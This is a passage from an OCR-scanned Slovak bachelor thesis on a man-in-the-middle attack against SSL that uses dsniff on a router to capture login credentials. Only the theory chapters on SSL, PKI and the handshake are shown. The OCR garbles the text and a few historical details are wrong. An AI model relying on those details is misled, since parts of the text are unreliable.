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Abstrakt

Cilem této prace byl navrh a realizace "man-in-the-middle" utoku v sitovém prostiedi. Utok byl
zaméteny na SSL protokol za ucelem ziskani prihlasovacich udaju klienta. Pfi praci byl pouzit
bezdratovy smérovaé s linuxovou distribuci firmware, ktery slouzil jako pfistupovy bod. Utok
samotny byl proveden pomoci doinstalované¢ho programu dsniff. Prace je rozdélena na teoreticky
popis SSL protokolu a na praktickou realizaci utoku.

Abstract

The goal of this thesis was design and realization of "man-in-the-middle" network attack. The attack
was directed on the SSL protocol in order to obtain login information of a client. A wireless router
with linux distribution firmware was used as an access point. The attack was realized by installed
software dsniff. The thesis contains theoretical description of the SSL protocol and practical
realization of the attack.

Klic¢ova slova

Dsniff, dnsspoof, PKI, man-in-the-middle, router, SSL, TLS, webmitm, wifi, WL-500g.

Keywords

Dsniff, dnsspoof, PKI, man-in-the-middle, router, SSL, TLS, webmitm, wifi, WL-500g.

Citace

Strbian Jaroslav: Utoky v sietovom prostredi s vyuZitim programovatel'né¢ho bezdrétového
smerovaca, bakalarska prace, Brno, FIT VUT v Brng, 2009



Utoky v siet’ovom prostredi s vyuzitim
programovatel’ného bezdréotového smerovaca

r

Prohlaseni

Prohlasuji, ze jsem tuto bakalafskou praci vypracoval samostatné pod vedenim Mgr. Marka
Kumposta. Uvedl jsem vSechny literarni prameny a publikace, ze kterych jsem cerpal.

Jaroslav Strbian
20.05.2009

Podékovani

Rad bych podékoval panu Mgr. Markovi Kumpostovi, ktery mi jako vedouci prace poskytoval

potiebné informace a odbornou pomoc.

© Jaroslav Strbian, 2009

Tato prdce vznikla jako Skolni dilo na Vysokém uceni technickém v Brné, Fakulté informacnich
technologii. Prdce je chranéna autorskym zdkonem a jeji uZiti bez udélent opravnéni autorem je
nezdkonné, s vyjimkou zdkonem definovanych pripadii..



(0007 1 1 VOO URPPP PP 3
UIVOU. ettt ettt s e a s e et e s s s s st s s h et s sttt ettt 5
SSL ATLS ettt ettt e et e e et e et e ettt e et e s bt e et e s bt e bt s aa s s eean e e e ar e e e aaeeanes 6

2.1 HISOTia SSL @ TLS ...ttt ettt e st saa e s eaa e e e ene e e aseeeaaee s 6
2.2 KIYPLOZIATIa cooueeeiiiiiiiiieiiii it 8
2.3 SPrava KITCOV . ...oouieiiiiieiieitctec e 9
2.3.1 Certifikat verejného KITCa .....co.vevviiiiiiiiiiiiiiiiiiicic e 9
2.3.2  CA — CertifikaGna autOTTA........veeeureertieeiteeeieeeeiee e eieeesrteesnaeeenan e eareeereeeerrae e 10
2.3.3  Zoznam zruSenych certifikatov........ccccoevviiiiiiiiiiiiiiiii 11
2.3.4  Hierarchia CertifiKAtOV ......c..eieiuieeriieeiiierieeeiie e 11
SIS OPEIACIC. ..ttt ettt ettt et ae e a et 12
31 ULORY V SSL oo 12
3.2 Nadviazanie Sifrovaného SPOJENIA ........eeerrviieerriiiieiiiiiiii it 12
3.2.1 CHENTHEILO. ... .ottt ettt ettt et s s ebe e saa s ae e eae e enaeebeeenn e 14
322 SEIVETHEILO ...ttt e e e 15
323 ServerKeyEXCRaNge .......c.coovviiiiiiiiiiiiiiiiiiiiiiii e 16
324 SerVErHEIIODONE ........vviieeeiiiiieeeiiiee ettt ettt et e e e e ntae e e e eaaae e e ennes 17
3.2.5 ClLientKeYEXChANGE.......cooviiiiiiiiiiiiiiiiciiciitic e 17
3.2.6 Chan@eCIPRErSPEC ..cc.uveeeiieiiiieeetie ettt e 17
327 FIMSREA oo 19
3.3  Ukoncenie zabezpeCeného SPOJENIA.......coovueiiiuiiiiiiiiiiiiiiiiiieiite ettt 19
3.4 AutentifiIKACIA SETVEIU ..eccuvrieeeiiiie ettt ettt ettt e st e e e e ear e e e e ane e e e ennes 19
34.1 CEITITICALE ..vvvviiiiiiieeeeireee ettt ettt e ettt e e e ba e e st e e s et e e e s e e atr e e e e earaeeeeabaeaanaes 20
342  ClientKeyEXChange.......cccceiiviiiiiiiiiiiiiiiiiiiiiiiiiiic it 20
3.5  Separovanie Sifrovania 0d QUtENTIZACIE ........ceeeiriiiiiiiiiiieiieet e 20
3.6 AutentifiKacia KHEITa ......cvviieeiiiiee ittt 21
3.6.1 CertifiCatEREQUESE ...eevuveeeiiiiiiiicriie et 21
3.6.2 (@S 315 (o721 1O PO 22
3.6.3 CertifiCate VErify ....cooviieiiiiiiiiiiiieciccic e 22
3.7  Obnovenie predchadzajice] TElACIE .......ccceerviiiiiiiiiiiiiiiiiiii 23
Priprava DA UE0K ........ooueeuieriiiieiiieteeieie ettt 24
A1 POPIS TEOKU ..euiiteiieiteeit ettt a e et 24
4.2 Pouzity hardware a SOftWare...........cccuiiiiiiiiiiiiiiiii i 25
4.2.1 ASUS WL-500 .0ttt ettt 25



4.2.2  EXEEINY dISK ..eovieriieeiieiieii ettt 25

423 OPENWRT ...ttt 26
424 DSIIT . .oiiiiiiecie e 26

4.3 PrieDeh GHOKU ....cootiiiiiiiiie ettt e e 27

5  Konfiguracia a realizacia GtOKU ..........cc.oooiiiiiiiiiiiiiiiiii e 29
5.1  Konfiguracia SMEIOVACA. ......cccuieuiiiuiiiiiiiiiiiiite ettt ettt 29
5.2  Konfiguracia a pripojenie externého diskul...........ccocoooiiiiiiiiiiiiie 30
5.3  InStalacia balika dSniff ..........cccoooiiiiiniiiiiiii 32
5.4 Vytvorenie COrtifiKAtU .......couiriiriiiiiiiiiiiiiii e 33
5.5 SPUSLENIC ULOKU . ..cuviiuiiiiiiiiiiiiiiiii ittt 34

(Y £ 1<) SO UURRUOPPPPPPPP 37
| B3 11S 1011 2 AU UURSPPPPN 38
o001 16 1 O PO OPOTPPPPPPP 40
SKEIPE USDATIVE ..ttt ettt et ettt et e 40

| w1 Le) 1 TSRO 41
SKEIPE APKE-TINK ...t 41
o001 1)1 -1 T OO O PSPPI 44
VYvorenic COrtifIKALU .......cc.evuiruiiiiiiiiiiiiiiiii e 44
PIILORA 4 ..ottt a e e ab e e ar e e e e e e e e e ennes 45
SUDOT WEDIMIEIN.CIT. .. vvtee ettt et ee e et e e et e ettt e e et eeesibe e e e sabae e e s eaaae e e s enata e e e eeasseeseanneeeennnes 45



1 Uvod

Uz v davnych dobach sa l'udia pokusali utajovat” svoje doverné informacie pomocou akychsi
sifier alebo vopred dohodnutych principov. S prichodom internetu sa ticto myslienky prehlbovali.
Postupom cCasu pocet uzivatelov internetu rapidne narastal, preto jednou z hlavnych uloh
bezpecnostnych vyvojarov bola ochrana informacii. Vo svojej praci som sa zameral na Studium
zabezpecenia komunikacie prostrednictvom Secure Sockets Layer — SSL protokolu, ktory slazi ako
bezpecnostna nadstavba ostatnych, bezne pouzivanych, protokolov. Aj naprick tomu Ze sa jedna
o dost’ asto pouzivany bezpecnostny protokol, v minulosti sa objavilo nieckol’ko publikacii utokov
zameranych na SSL.

Ciel'om mojej prace bolo implementovat jeden z tychto itokov. PresnejSie sa jednalo o man-in-
the-middle utok, ktorého cielom bolo ziskanie prihlasovacicho mena a hesla uzivatela. Ja, ako
utocnik, som mal na realizaciu Gtoku k dispozicii wifi router, ku ktorému sa uzivatel’ pripajal.

Praca je rozdelena na teoreticku Cast” venovanu SSL a prakticku realizaciu utoku. Druha
kapitola popisuje historiu SSL, zaklady kryptografie a taktiez sa venuje sprave kl'uCov a certifikatom.
V tretej kapitole su uz popisané jednotlivé SSL spravy a operacie akymi napriklad st nadviazanie
spojenia alebo autentifikacia. V Stvrtej kapitole su popisané hardvérové a softvérové prostriedky,
ktoré boli pri utoku pouzité. Piata kapitola je akousi formou navodu na konfiguraciu a realizaciu

utoku samotného.



2 SSL a TLS

SSL (Secure Sockets Layer) je protokol, ktory poskytuje zabezpecenie pre sluzby,
komunikaciu a datovy prenos v sieti Internet. Poskytuje nam tri zakladné funkcie: kryptografiu na
Sifrovanie sprav, mechanizmy na zaistenie integrity dat a autentizaciu.

Dizajnéri vytvorili SSL ako separatny protokol, ktory mal sluzit’ iba pre bezpecnost’. Preto do
architektary internetovych protokolov pridali medzi aplikacnil a transportnu d’al$iu vrstvu. Jeho
implementacia vSak nevyvolala vel'ké zmeny v celkovej Struktare protokolov. Aplika¢na vrstva
komunikuje s SSL rovnako ako keby tam bola vrstva transportna, ata s SSL spolupracuje ako

s beznou aplikaciou. Obrazok 2.1 [1] vyjadruje graficki podobu tejto architektury.
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Obrazok 2.1:  Struktura protokolov.

2.1 Historia SSL a TLS

Vyvojari uz od zaCiatku mysleli na ochranu a zabezpeCenie komunikacie po internete.
Spolocnost’ Netscape Communications brala otazku bezpecnosti v tvahu uz pri vytvarani ich prvého
web prehliadaca. Vyvinula preto protokol s ndzvom Secure Sockets Layer (RFC 5246) [5].

Historia SSL zacdala v novembri 1993, ked” National Center of Supercomputing Applications
(NCSA) vydala prvy popularny web prehliada¢ Mosaic. O osem mesiacov neskor Netscape dokongil
vyvoj prvej verzii protokolu SSL 1.0. Po pol roku ta ista spolocnost’ zverejnila produkt Netscape
Navigator s podporou SSL verzie 2.0.

Dalsou vyznamnou udalostou bola publikacia prvej verzie Private Communication

Technology (PCT). PCT, vyvinuté¢ spolo¢nostou Microsoft, sluzila ako rozsirenie SSL 2.0



a poukazovala taktieZ na nedostatky tohto protokolu. Mnoho z tychto vylepseni bolo o par mesiacov
neskor pouzitych v SSL 3.0.

Netscape sa podielal na vyvoji prvych troch verzii SSL protokolu za vyraznej podpory
webovych komunit. Ked'Ze sa jednalo o otvoreny projekt, tak sa na jeho vytvarani zucastnilo viacero
stran. Protokol vSak technicky stale patril spolo¢nosti Netscape, pretoze vlastnili U. S. patent pre SSL.
Zaciatkom maja 1993 prevzala kontrolu nad dalS$im vyvojom medzinarodna organizacia pre
standardy — The Internet Engineering Task Force (IETF). Tato spolo¢nost’ vytvorila viacero
protokolov pre internet vratane TCP a IP. Zmenil sa taktieZ aj nazov protokolu a to na Transport
Layer Security (TLS). Prva oficialna verzia bola vydana v januari 1999. Napriek tymto zmenam TLS
nie je ni¢ viac ako novsia verzia SSL. Zopar rozdielov sa v§ak medzi TLS 1.0 (tieZ oznac¢ovana ako

SSL 3.1) a SSL 3.0 vyskytuje. Obrazok 2.2 [1] zobrazuje Casovi priamku historie SSL.

SSL1.0
design complete
SSL2.0
product ships
PCT1.0
published
SSL3.0
published
TLSWG TLS1.0
formed published

1993 | 1994

NCSA Internet

Mosaic Explorer

released released
Netscape
Navigator
released

Obrazok 2.2:  Casova primka vyvoju SSL.

V dnesnej dobe je podpora SSL zabudovana do takmer vSetkych prehliadacov a webovych
serverov. KedZe je tento protokol tak rozSireny a funguje transparentne, mnoho ludi si ani
neuvedomuje, ze SSL pouziva. Uzivatel si vSak moze v§imnut’ prefix “https:” pri zadavanej url,
alebo malu ikonku v prehliadadi, ak sa jedna o zabezpecenie pomocou SSL. V niektorych pripadoch

sa zobrazi ziadost’ o prijatie certifikatu.



2.2  Kryptografia

Kryptografia alebo taktiez Sifrovanie je veda, ktora sa zaobera metodami obmiefiania sprav,
za ucelom ich utajenia. Tieto spravy su potom Citatelné iba s pouzitim Specialnych znalosti — kltica.
Kryptografia ma viacero vyuziti, ale pre SSL st ddlezité autentizacia, §ifrovanie a integrita dat.
Vsetky tieto vyuzitia sa vSak zakladaju na jednej spolocnej veci a tou je tajna informacia, bez ktorej
sa §ifra neda precitat’, takzvany kl'u¢. Podla toho, aky typ kl'ica sa pouzije, méZzeme Sifrovanie
rozdelit’ na symetrické a asymetrické.

Symetrické Sifrovanie je technika, ktora pri Sifrovani alebo deSifrovani pouziva jediny kIa¢ —
secret key. To znamena, e obidve strany poznaju rovnaku tajnu informaciu. Sifrovaci algoritmus
alebo Sifra, ktora je postavena na tejto metdde, je v podstate iba matematicka transformacia
Sifrovanych dat a klti¢a samotného. Vyhodou tejto techniky su malé systémové poziadavky no na
druhej strane je fakt, Ze obe strany zdiel'aji jeden kl'u¢, na ktorom sa musia vopred dohodnut’. Medzi
algoritmy, ktor¢ sa pri symetrickom §ifrovani pouzivaju, patria napr.: DES, 3DES, AES, RC2 alebo
RC4.

Asymetrické Sifrovanie, resp. kryptografia s verejnym kIi¢om, pouziva na rozdiel od
predosle; situacie dvojicu kl'uCov: public key (verejny kIi¢) a private key (privatny kl'u¢). Pomocou
public key sa sprava S§ifruje a deSifrovat’ ju mozno len s odpovedajicim private key. Dolezitym
aspektom tejto metddy je, Ze iba jeden z klucov zostava utajeny. Druhy, verejny kI, je k dispozicii
vSetkym. Bezne pouzivanym S§ifrovacim algoritmom pre kryptografiu s verejnym kli¢om je RSA
(Rivest Shamir Adleman) [6]. RSA sa zvykne pouzivat aj v reverznej podobe. To znamena, ze
informacie zaSifrované privatnym kla¢om sa dajua desifrovat’ pomocou verejného. Tento fakt sa da
okrem autentizacie vyuzit aj ako digitalny podpis. Pri druhom pripade sa na podpis pouzije privatny
kl'a¢ a overit’ si ho méze kazdy a to pomocou verejného klida. Dalsim algoritmom je DSA (Digital
Signature Algorithm) [7]. Vyuziva sa iba na digitalny podpis, ¢ize neposkytuje Sifrovacie sluzby.

Asymetrické Sifrovaniec ma vSak nevyhodu vtom, Ze Sifrovacie operacie su extrémne
komplexné. Zlozité matematické operacie vyzaduji véacsiu kapacitu procesoru a tym sa zvySuje aj
celkova cenové a Casové poziadavky systému. Optimalny pristup je teda kombinacia symetrického
a asymetrického Sifrovania — hybridné. Pomocou asymetrického Sifrovania preda jedna strana druhej
secret key, ¢im sa vyrieSi problém distribucie symetrického kI'ica. V momente ked’ obe strany
poznaju secret key, kryptografia s verejnym kl'aCom uz nie je potrebna a d’alej sa pokracuje pomocou
symetrického Sifrovania. Pri hybridnom Sifrovani sa vyuziva Specialny algoritmus, znamy ako key
exchange (vymena klucov). NajznamejSi je Diffie-Hellman algoritmus, ktory obom stranam

umoziiuje bezpecnu vymenu tajného kli¢a pomocou verejnych sprav.



2.3  Sprava kl’acov

Pri vymene kl'aCov je vel'mi dblezita ich sprava. Pri kryptografii pomocou verejného klica je
zname, ze tieto kl'a¢e su pre okolity svet dostupné. Méze vSak nastat’ situacia, ked” utocnik podvrhne
svoj klI'a¢ namiesto skutocného. Preto aj vymena verejného klti¢a musi prebichat” doveryhodne.
Kvéli tomu problému bol vyvinuty certifikat verejného klaca a certifikacna autorita (CA). Vznikla
tak ista infrastruktura verejného klaca (Public Key Infrastructure — PKI). Jedna sa o stbor pravidiel

a procedur, pomocou ktorych sa vytvaraju, overuju a distribuuju digitalne certifikaty.

23.1  Certifikat verejného kl’'uca

Certifikat verejn¢ho kl'uca je elektronicky dokument, ktory v sebe zahriiuje informacie ako
meno osoby popripade organizacie, verejny klu¢ samotny alebo digitalny podpis. Vd’aka tomu si
mézeme overit, ze verejny kI'i¢ naozaj patri tomu, kto ho zverejnil. Certifikat je navySe vydavany
déveryhodnou organizaciou a tou je CA. Certifikat popisuje Standard X.509 [4] a obsahuje viacero
informacii. Nie vSetky su vSak pre nas podstatné. V tabulke 2.1 [1] je graficky zobrazena jeho
Struktura. Prvou ddlezitou informaciou je policko issuer — vydavatel. Sluzi na identifikaciu
organizacie, ktora certifikat vydala. To je podstatné hlavne pre osobu, ktora preveruje certifikat,
pretoze moze uréit doveryhodnost certifikatu. DalSou informaciou je period of validity — doba
platnosti. Certifikat ma urcent periodu pocas ktorej plati. Po nejakom case vSak tato platnost” vyprsi
a v takom pripade sa uz nejedna o déveryhodny certifikat. Dalsie policko — subject identifikuje
vlastnika verejn¢ho klica a hned’ za nim nasleduje samotny kl'i¢. Poslednou informaciou je podpis
vydavatela — signature. Jedna sa o digitalny podpis obsahu certifikatu. Vydavatel' ho vytvori
pomocou svojho privatneho kli¢a. Takto vytvoreny podpis mdze byt overeny hocikym, kto ma

verejny kl'u¢ vydavatel’a, a tym padom je pravoplatnost’ certifikatu overena.
ny y ym p Je pravop



Version

Serial Number

Algorithm Identifier

Issuer

Period of Validity

Subject

Subject'sPublicKey

Issuer UniquelD

Subject Unique ID

Extensions

Signature

Tabulka 2.1:  Certifikat verejného kluca.

2.3.2 CA — Certifika¢na autorita

Vydavatel' certifikatu verejného klaca je znami aj ako CA a zohrava vyznamnu tlohu pri
nadvizovani doveryhodného spojenia. Hlavnou ulohou je digitalne podpisat’ certifikat a preukazat’ tak
pravoplatnost” verejného kl'uca, ktory sa v iom nachadza. Ak uzivatel’ povazuje CA za doveryhodna,
moze tak ucinit’ aj pre vsetky certifikaty, ktoré nou boli vydané.

CA sa daju identifikovat ako privatne alebo verejné. V prvom pripade sa jedna o organizacie,
ktoré vydavaju certifikaty vyhradne pre svojich vlastnych uzivatel'ov. Tie sa potom pouZivaji
v privatnej sieti spolo¢nosti. Internet je vSak verejna siet” a preto aj jej bezpecnost je zaloZena na
verejnych certifikaénych autoritach. Certifikaty vytvorené verejnou CA st urcené pre Siroka
verejnost’. Poskytuju tak overenie totoznosti nielen organizaciam, ale aj jedincom. Spliuji ulohu
istého notara, ktory osvedcuje identitu kohokol'vek, kto sa prezentuje nejakymi osobnymi udajmi.

Naskyta sa vSak otazka: Kto certifikuje CA samotné? V takom pripade sa certifikacné
autority Casto identifikuju vlastnymi certifikatmi. Tie su vSak odlisné od Standardnych pretoze
subject a issuer je ten isty. Dalou zmenou je fakt, Ze verejny kIa& v certifikate je taky isty ako kI,
ktorym sa overuje jeho podpis. To vSak nie je to najbezpeénejsie rieSenie. Pri normalnom certifikate
sa da skontrolovat’ podpis a rozhodnut’, ¢i sa jedna o doveryhodny verejny kl'a¢ alebo nie. Pokial je
podpis v poriadku a vydavatel’ je doveryhodny, m6zeme kI'u¢ bezpeéne pouzivat. V pripade, ze sa
CA identifikovala sama je to uz horie. Tu uz overenie podpisu nezaruéuje spolahlivost. Utoénik,
ktory sfalSuje CA certifikat, vie privatny kI'u¢ a tym padom je schopny vygenerovat’ odpovedajici

podpis. Kvoéli tomu musi byt CA certifikat validovany pomocou inej metody. To je uz uloha
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webovych prehliadacov akym je napr.. Internet Explorer alebo Netscape’s Navigator. Tie
automaticky rozoznavaju certifikaty od dolezitych verejnych CA. Verejné kluce niektorych
certifikacnych autorit si ulozené¢ priamo v prehliadacoch aich overovanie je transparentné.
V pripade, Ze tam uloZené nie su, je nutné ich tam manualne importovat. Medzi najznamejSic CA

patri napr.: VeriSign, Entrust, Geotrust [17].

2.3.3 Zoznam zruSenych certifikatov

Nastavaju situacie, ked’ je kompromitovany privatny kl'a¢ alebo uz nie je bezpecné certifikat
nad’alej pouzivat. V takomto pripade CA pouzivaji takzvany zoznam zruSenych -certifikatov
(Certificate Revocation List d’alej iba CRL). Jedna sa o vypis certifikatov, ktoré boli vydané CA, ale
uz sa nepovazuju za platné. Tieto certifikaty sa stale tvaria ako legitimne, pretoze ich podpis a doba
platnosti su korektné. CA potrebuje poukazat’ na to, ze certifikat uz nie je nad’alej platny. Ked’Ze ho
uz nemdze zrusit', prida ho do CRL. Vd’aka tomuto zoznamu sa da I'ahko overit’ ¢i bol dany certifikat

zruSeny alebo nie.

2.3.4 Hierarchia certifikatov

Kedze pocet certifikatov narastal, vznikol tak problém sich efektivnym spravovanim.
Nastastie certifikaty verejnych klucov podporuju koncept urcitej hierarchie, ktora tuto situaciu

zmiernuje. Obrazok 2.3 [2] zobrazuje tto hierarchiu v grafickej podobe.

B > End entity
Operational
transactions
= and management Management
Z transactions transactions
ags' PKl users
o
o PKI
S |, Registration Certification management
s | ' ' i entities
3 Publish Authority AUt‘hOFIty
E | Certificate Management
ub] ) -
< Publish transactions
Certificate A
and CRL Certification
Authority

Obrazok 2.3:  Struktura PKI.
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Ako z obrazku vyplyva PKI struktura pozostava s piatich komponentov:

o  Certifikacna autorita (Certification Authority) — pridel'uje alebo zamieta certifikaty a CRL,

e Registracna autorita (Registration Authority) — sa zaruCuje za spojenie medzi verejnym
kIi¢om a drzitel'om certifikatu,

e PKI uzivatelia (PKI users) — vlastnici, ktorym bol certifikat prideleny. Mozu podpisovat
digitalne dokumenty,

o Koncové entity (End entity) — klienti, ktory overuju digitalne podpisy a certifikaty,

e Sklady (Repositories) — skladuju a spristupnuju certifikaty a CRL napr. LDAP server.

3 SSL operacie

SSL protokol je zaloZeny na subore sprav a pravidiel podla ktorych sa riadi. V tejto kapitole
si popiSeme format jednotlivych sprav a ich funkciu. Taktiez si opiSeme proces nadviazania

Sifrovancho spojenia a autentizacie serveru resp. klienta.

3.1 Ulohyv SSL

SSL protokol definuje dve odlisné strany, ktoré spolu komunikuju. Kazda z nich zohrava
v systéme svoju vlastnu rolu. Vzdy je to takzvany klient alebo server. Rozdiel medzi nimi je vSak
vel'mi podstatny, pretoze SSL vyzaduje dva systémy, ktoré sa spravaju odlisne. Klient je ta strana,
ktora nadvizuje zabezpecené spojenie a server je ten, ¢o mu odpoveda. V mnoho pripadoch tilohu
klienta reprezentuje webovy prehliada¢ a na druhej strane stoji webova stranka, ktora zohrava rolu
servera. NajdolezitejSimi rozdielmi medzi tymito dvoma stranami si ich vykonavané akcie pocas
nadvizovania bezpecéného spojenia. Klient je iniciator spojenia a preto navrhuje stubor nastaveni SSL,
ktoré¢ by mali byt’ pri vymene pouzité. Server si z tychto moznosti vyberie a urci tak, aké parametre

budu v d’alSej komunikacii pouzité.

3.2  Nadviazanie Sifrovaného spojenia

Zakladna funkcia, ktora SSL klient a server poskytuju, je vytvorenie kanalu pre Sifrovanu
komunikaciu. To dosiahnu tak, Ze si medzi sebou vymienaju spravy. Vypis tychto sprav a ich strucny
popis sa nachadza v tabul’ke 3.1 a obrazok 3.1 [1] ukazuje ich vymenu, potrebni na nadviazanie

sifrovan¢ho spojenia.
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Sprava Popis

Alert Informuje o mozZnej bezpecnostnej alebo komunikacnej chybe
ApplicationData Aktualne informacie, ktoré si dve strany vymienaju. Informdcie su
zasifrované, autentifikované a overené s SSL
Certificate Sprava obsahuje odosielatelov certifikat verejného kltuca
CertificateRequest Server fou ziada klienta o jeho certifikat verejného klica
CertificateVerify Sprava poslana klientom kvéli overeniu koreSpondencie privatneho
a verejného kluca
ChangeCipherSpec Vymena parametrov Sifrovaného spojenia
ClientHello Klient nou zacina spojenie a ponuka bezpecnostné sluzby
ClientKeyExchange Sprava od klienta, ktora obsahuje kryptograficky klfti¢ pre komunikaciu
Finished Informuje o ukonceni vyjednavania a zZe zabezpecené spojenie bolo
nadviazané
HelloRequest PoZiadavka serveru na zacatie SSL vyjednavania
ServerHello Server si vybera bezpecnostné sluzby, ktoré budu pouzité
ServerHelloDone Server potvrdzuje, Ze ukondil vSetky poZiadavky klienta pre vytvorenie
spojenia
ServerKeyExchange Sprava od serveru, ktora obsahuje kryptograficky kld¢ pre komunikaciu

Tabul'ka 3.1:  Prehl'ad SSL sprav.
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Client Server
@ clientHello >
“ servertello (€)
< Server KeyExchange 6
4 ServerHelloDone o
o Client KeyExchange >
e ChangeCipher Spec [
€ Finished >
“ ChangeCipherSpec 9

< Finished 9

Obrazok 3.1:  SSL pouziva devit sprav na vytvorenie Sifrovaného spojenia.

e Klient posle spravu ClientHello s navthom SSL parametrov ako napr.: verzia SSL,

e Server reaguje spravou ServerHello a vyberie si z ponukanych moznosti,

e Server d’alej posle svoj verejny klI'a€¢ pomocou ServerKeyExchange spravy,

e Zaslanim ServerHelloDone server uzaviera svoju ¢ast’ nadvidzovania,

o Klient nasledne posle ClientKeyExchange. Sprava obsahuje secret key zasSifrovany pomocou
verejného kl'uca servera, ktory sa bude pri komunikacii pouzivat’. Server kI'i¢ desifruje
pomocou svojho privatneho kluca,

e Pomocou ChangeCipherSpec spravy, klient aktivuje parametre pre vSetky spravy, ktoré
posle,

e Klient posle spravu Finished, aby si server skontroloval nov¢ nastavenia,

e Server tiez posle ChangeCipherSpec a aktivuje parametre pre svoje buduice spravy,

e Nakoniec server posle spravu Finished, aby informoval klienta o novych nastaveniach,
Nasledna komunikacie je uz symetricky Sifrovana pomocou secret key.

3.2.1 ClientHello

Sprava ClientHello za¢ina komunikaciu medzi dvoma stranami. Klient fiou ziada server, aby
zaCal nadvédzovat' bezpeénii komunikaciu pomocou SSL. ClientHello sa sklada z niekolkych

komponentov.
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Komponent Pouzite

Version Reprezentuje najvyssiu verziu SSL protokolu, ktoru klient podporuje

RandomNumber 32bytové nahodné Cislo, ktoré sa poufZije ako zaklad kryptografickej
kalkulacie

SessionlD Identifikuje SSL relaciu

CipherSuites Obsahuje zoznam kryptografickych parametrov, ktoré klient podporuje

CompressionMethods Zahfna metody pre kompresiu dat, ktoré klient podporuje

Tabul'ka 3.2: Komponenty spravy ClientHello.

Komponent Version spravy ClienHello obsahuje zaznam o tom, aka je klientom najvysSia
podporovana verzia SSL protokolu. Server predpoklada, ze klient podporuje nielen verziu, ktora sa
nachadza v tejto komponente, ale aj vSetky predchadzajuce. V pripade, Ze server pouzije starSiu
verziu, klient mo6ze spojenie prerusit’ alebo v iom pokracovat’.

RandomNumber Kklienta spolu s c¢islom, ktoré vygeneroval server, tvoria zaklad pre
kryptografickii operaciu na vytvorenie kluca. Jedna sa o 32bytové Cislo. Prvé 4 byty obsahuju cas
a datum. Vd’aka tomu si moézeme byt isti, ze klient nevygeneruje dvakrat to isté ¢islo. Zvysnych 28
bytov by malo byt kryptograficky zabezpecené nahodné cislo. Ked'Ze pocitaée generuji iba
pseudonahodné Cisla, je tu ista hrozba, Ze utoc¢nik bude poznat® algoritmus a tak aj nasledujice ¢isla.
Aby sa predislo tomuto druhu utoku, SSL by malo pouzivat int techniku generovania Cisel. Typicky
to je technika zaloZzena na kryptografickom algoritme.

CipherSuites komponent obsahuje zoznam réznych kryptografickych algoritmov, ktoré klient
podporuje, vratane konkrétneho algoritmu a vel'kosti kluca. Server si potom vybera sluzby, ktoré
budu v d’alSej komunikacii pouzité.

Podobnym komponentom je CompressionMethods. Ten vsSak v sebe zahrfiuje zoznam

algoritmov, ktorymi sa mézu data komprimovat’.

3.2.2 ServerHello

Server po prijati ClientHello odpoveda spravou ServerHello. Obsah tejto spravy je podobny
ako pri ClientHello az na malé rozdiely. Tam, kde klient navrhuje moznosti spojenia, server robi

finalne rozhodnutie.
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Komponent PouZitie

Version Urcuje verziu SSL protokolu, ktora bude v komunikacii pouzita

RandomNumber 32 bytové nahodné Cislo, ktoré sa pouZije ako zaklad kryptografickej
kalkulacie

SessionlD Identifikuje SSL relaciu

CipherSuite Urcuje kryptografické parametre, ktoré budu pri komunikacii pouzité

CompressionMethod Metody pre kompresiu dat, ktoré budu pouzité

Tabulka 3.3: Komponenty ServerHello.

Komponent Version je prvym prikladom, ked’ server rozhoduje o nasledujicej komunikacii.
Klient iba poukazuje na to, aké verzie SSL podporuje. Na druhej strane server vyberie ta, ktora bude
pouzita. Pri tomto vybere je vSak server obmedzeny, pretoZze nemdze zvolit’ novSiu verziu, ako
klientova najvysSia ponuka. V pripade, Ze sa klientovi nepaci zvolena verzia, moze odmietnut’ d’al$iu
komunikaciu.

RandomNumber je prakticky podobné ako u ClientHello az na to, Ze ho generuje server. Prvé
Styri z 32 bytov su ¢as a datum, aby sa prediSlo opakovaniu nahodnej hodnoty. Zvysok je vytvoreny
generatorom nahodnych cisel. Spolu s klientovym nahodnym ¢islom vytvara zaklad pre vytvorenie
kluca.

Komponent SessionID obsahuje c¢islo, ktoré jednozna¢ne identifikuje konkrétnu SSL
komunikaciu (relaciu). Hlavny dévod preco sa to tak robi je ten, ze pomocou tohto identifikatoru
k nej moéze neskor jednoducho pristupovat’, ¢im sa proces urychli. Ked” server urci, ze relacia uz
nebude v buducnosti vyuzivand, moéze tuto Cast’ spravy vynechat.

CipherSuite je na rozdiel od ClientHello jednotné Cislo. Je to kvoli tomu, Ze server si opit
vybera z ponukanych moznosti prave jednu. V tomto pripade sa jedna o kryptografické parametre ako
Specificky algoritmus a vel'kost’ klti¢a a tie budu v naslednej komunikacii pouZitg.

CompresionMethod komponent urcuje, ktora metoda sa pouzije na kompresiu dat. Server si

opat vyberie z ponuky klienta.

3.2.3 ServerKeyExchange

Po odoslani ServerHello pokracuje server spravou ServerKeyExchange. Tato sprava je

akymsi doplnkom komponenty CipherSuite, ktora sa nachadza v ServerHello. Kym CipherSuite
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obsahuje kryptograficky algoritmus a vel'kost’ kl'ica, tato sprava zahfiia samotny verejny klugc.
Presny format tejto informacie zavisi na danom algoritme verejného kl'uca, ktory bude pouzity.
Napriklad pre RSA sprava zahriia modulus a verejny exponent kl'iCa serveru. Sprava je posiclana
v nesifrovanej forme. Klient pouzije informaciu o verejnom kl'uci a zaSifruje nou takzvany session

key, ktory sa bude pouzivat pri naslednom Sifrovani aplikaénych dat.

3.2.4 ServerHelloDone

ServerHelloDone sprava informuje klienta otom, ze server skoncil s pociatoénym
nadvizovanim spojenia. Sprava samotna neobsahuje ziadne d’alSie informacie no pre klienta je aj tak
velmi doélezita. Vdaka nej totizto vie, ze méze zacCat dalSiu fazu nadvdzovania zabezpecencj

komunikacie.

3.2.5 ClientKeyExchange

Ako nahle server ukonéi ivod SSL vyjednavania, klient odosle ClientKeyExchange. Tato
sprava ma podobnu funkciu ako ServerKeyExchange — podava serveru informacie o klientovom
kl'u¢i. V tomto pripade su dané informacie pouzité na symetrické Sifrovanie, ktoré sa bude dalej
pouzivat’. Tajny kl'u¢, ktory sprava obsahuje (session key), je zasifrovany pomocou verejného kltuca
serveru. Toto zabezpecenie umoziuje bezpecny prenos tajného kluca po sieti. Taktiez to klientovi
umoziiuje overit’ si, ze prave server vlastni privatny klu¢ koreSpondujuci k tomu verejnému. Keby
tomu tak nebolo, server by nebol schopny spravu deSifrovat. Tato operacia je dolezitym
bezpecnostnym opatrenim proti uto¢nikovi, ktory zachytava spravy z regularneho serveru. Potom
predstiera, Ze je dany server a preposiela spravy ni¢ netusiacemu klientovi. Pokial’ vSak falosny server
